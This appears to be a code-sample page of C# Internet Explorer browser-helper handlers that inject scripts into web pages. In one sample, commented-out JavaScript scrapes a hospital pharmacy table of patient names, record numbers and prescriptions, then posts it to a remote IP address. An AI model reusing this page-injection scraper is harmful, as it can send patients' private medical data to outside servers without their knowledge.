                        IHTMLDOMNode head = (IHTMLDOMNode)document.getElementsByTagName("head").item(0, 0);
                        head.appendChild((IHTMLDOMNode)script);

                    }
                }

                /*动态加载CSS文件
                 * 需先判断是否已经加载项目;如未加载再加入该模块
                 * 
                 */

                XmlNodeList cssFiles = xn.SelectNodes("css");
                foreach (XmlNode cssFile in cssFiles)
                {
                    XmlElement cssxe = (XmlElement)cssFile;

                    if (document.getElementById(cssxe.GetAttribute("keyID")) == null)
                    {
                        
                        IHTMLElement css = document.createElement("link");
                        css.setAttribute("rel", "stylesheet", 0);
                        css.setAttribute("type", "text/css", 0);
                        css.setAttribute("href", cssxe.InnerText, 0);
                        css.setAttribute("id", cssxe.GetAttribute("keyID"), 0);
                        IHTMLDOMNode head = (IHTMLDOMNode)document.getElementsByTagName("head").item(0, 0);
                        head.appendChild((IHTMLDOMNode)css);

                        //document.createStyleSheet(cssxe.InnerText, 1);//方法二
                    }
                }
            }
            catch (Exception e)
            {
                //alert(e.Message);
                throw e;
            }

        }
示例#48
0
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            /*
             * Проверка по адресу
             */
            string url = URL.ToString();
            bool matched = false;
            foreach (Regex reg in regulars)
            {
                if (reg.Match(url).Success)
                {
                    matched = true;
                    break;
                }
            };
            if (!matched)
            {
                return;
            }

            document = (HTMLDocument)webBrowser.Document;
            /*
             * скрипт уже подключён
             */
            if (document.getElementById(scriptElementId) != null)
            {
                return;
            };

            // создаем скрипт
            string source = vkpatch.Properties.Resources.vkpatch.ToString();
            HTMLScriptElement scriptElement = (HTMLScriptElement)document.createElement("script");
            scriptElement.text = source;
            scriptElement.id = "vkpatch";

            // выполняем инъекцию в head
            IHTMLElementCollection heads = document.getElementsByTagName("head");
            foreach (HTMLHeadElement head in heads)
            {
                head.appendChild((IHTMLDOMNode) scriptElement);
                break;
            }
        }
示例#49
0
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            /*
             *
             * HTMLDocument document = (HTMLDocument)webBrowser.Document;
             *
             * dynamic window = document.parentWindow;
             * IExpando ScriptObject = (IExpando)window;
             * PropertyInfo btnEvent = ScriptObject.GetProperty("toQt", BindingFlags.Default);
             * if (btnEvent == null) btnEvent = ScriptObject.AddProperty("toQt");
             * btnEvent.SetValue(ScriptObject, this, null);
             *
             * IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)
             *                      document.all.tags("head")).item(null, 0);
             *
             * IHTMLScriptElement scriptObject =
             *  (IHTMLScriptElement)document.createElement("script");
             * scriptObject.type = @"text/javascript";
             * //scriptObject.text = "var myEles = document.getElementById('su'); var kw=document.getElementById('kw').value; if(myEles != undefined && myEles != null) {myEles.onmouseup=aaa(kw);function aaa(kw){window.toQt.sendMsgToQt('www.3dy.com ; '+kw)}}";
             * scriptObject.text = "var myEles = document.getElementById('su'); if(myEles != undefined && myEles != null) {myEles.onmouseup=aaa;function aaa(){window.toQt.sendMsgToQt('hahaha')}}";
             *
             * ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptObject);
             */
            HTMLDocument document = (HTMLDocument)webBrowser.Document;

            dynamic      window       = document.parentWindow;
            IExpando     ScriptObject = (IExpando)window;
            PropertyInfo btnEvent     = ScriptObject.GetProperty("toQt", BindingFlags.Default);

            if (btnEvent == null)
            {
                btnEvent = ScriptObject.AddProperty("toQt");
            }
            btnEvent.SetValue(ScriptObject, this, null);

            IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)
                                               document.all.tags("head")).item(null, 0);

            IHTMLScriptElement scriptObject =
                (IHTMLScriptElement)document.createElement("script");

            scriptObject.type = @"text/javascript";
            //scriptObject.text = "var myEles = document.getElementById('su'); var kw=document.getElementById('kw').value; if(myEles != undefined && myEles != null) {myEles.onmouseup=aaa(kw);function aaa(kw){window.toQt.sendMsgToQt('www.3dy.com ; '+kw)}}";
            //scriptObject.text = "var myEles = document.getElementById('su'); if(myEles != undefined && myEles != null) {myEles.valuvalu";
            //scriptObject.text = "var data={'aa':document.getElementById('names')};$.ajax({type: 'POST',url: 'http://127.0.0.1:8000/opendata/test/',contentType: 'application/json;charset=utf-8',dataType: 'json',data: JSON.stringify(data),success: function (data) {  console.log(data);})";
            //scriptObject.text = "  $('#btnQuery').click(function(){var trs=document.querySelectorAll('tr.DataGridItem');var keys=['流水号','处方号','姓名','病历号','看诊医生','看诊时间','是否已发药','发药时间','发药人员','处方(含耗材)金额','退药'];var data=[];for(var i=0;i<trs.length;i++){tds=trs[i].querySelectorAll('td');var item={};item={'流水号':tds[0].innerText,'处方号':tds[1].innerText,'姓名':tds[2].innerText,'病历号':tds[3].innerText,'看诊医生':tds[4].innerText,'看诊时间':tds[5].innerText,'是否已发药':tds[6].innerText,'发药时间':tds[7].innerText,'发药人员':tds[8].innerText,'处方(含耗材)金额':tds[9].innerText};data.push(item)};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $('#btnQuery').click(function(){var trs=document.querySelectorAll('tr.DataGridItem');var keys=['流水号','处方号','姓名','病历号','看诊医生','看诊时间','是否已发药','发药时间','发药人员','处方(含耗材)金额','退药'];var data=[];for(var i=0;i<trs.length;i++){tds=trs[i].querySelectorAll('td');var item={};item={'流水号':tds[0].innerText,'处方号':tds[1].innerText,'姓名':tds[2].innerText,'病历号':tds[3].innerText,'看诊医生':tds[4].innerText,'看诊时间':tds[5].innerText,'是否已发药':tds[6].innerText,'发药时间':tds[7].innerText,'发药人员':tds[8].innerText,'处方(含耗材)金额':tds[9].innerText};data.push(item)};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $('#btnQuery').click(var data={'tttt':'3dy.me'};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $('#btnQuery').click(var data={'tttt':'3dy.me'};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $(window.parent.frames['ifWorkFrame'].document).find('input#btnQuery').click(function(){alert('aa')})";
            //document.getElementById(id).contentDocument
            //scriptObject.text = "  $('#input').click(function(){alert('aa')})";


            //病人取药的tables
            //window.frames[2].frames[0].document.getElementById("gvInfo").innerText
            //查询按钮
            //window.frames[2].frames[0].document.getElementById("btnQuery").value

            scriptObject.text = "window.frames[2].frames[0].document.getElementById('btnQuery').onmousemove = function(){alert('aa');}";
            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptObject);

            /*
             * string aa = "{\"hello\":\"C#  mircosoft.....\"}";
             * string msg= "{\"hello\":\"C#  mircosoft.....\"}";
             * //http://127.0.0.1:8000/opendata/test/
             * //http://121.204.198.52:8809/v13/opendata/test/
             * WebRequest request = WebRequest.Create("http://121.204.198.52:8809/v13/opendata/test/");
             * request.Method = "POST";
             * request.ContentType = "application/json";
             * byte[] buf = Encoding.UTF8.GetBytes(aa);
             * byte[] byteArray = System.Text.Encoding.Default.GetBytes(aa);
             * request.ContentLength = Encoding.UTF8.GetByteCount(aa);
             * request.GetRequestStream().Write(buf, 0, buf.Length);
             * WebResponse response = request.GetResponse();
             * Stream myResponseStream = response.GetResponseStream();
             * StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
             * string retString = myStreamReader.ReadToEnd();
             * myStreamReader.Close();
             * myResponseStream.Close();
             */
        }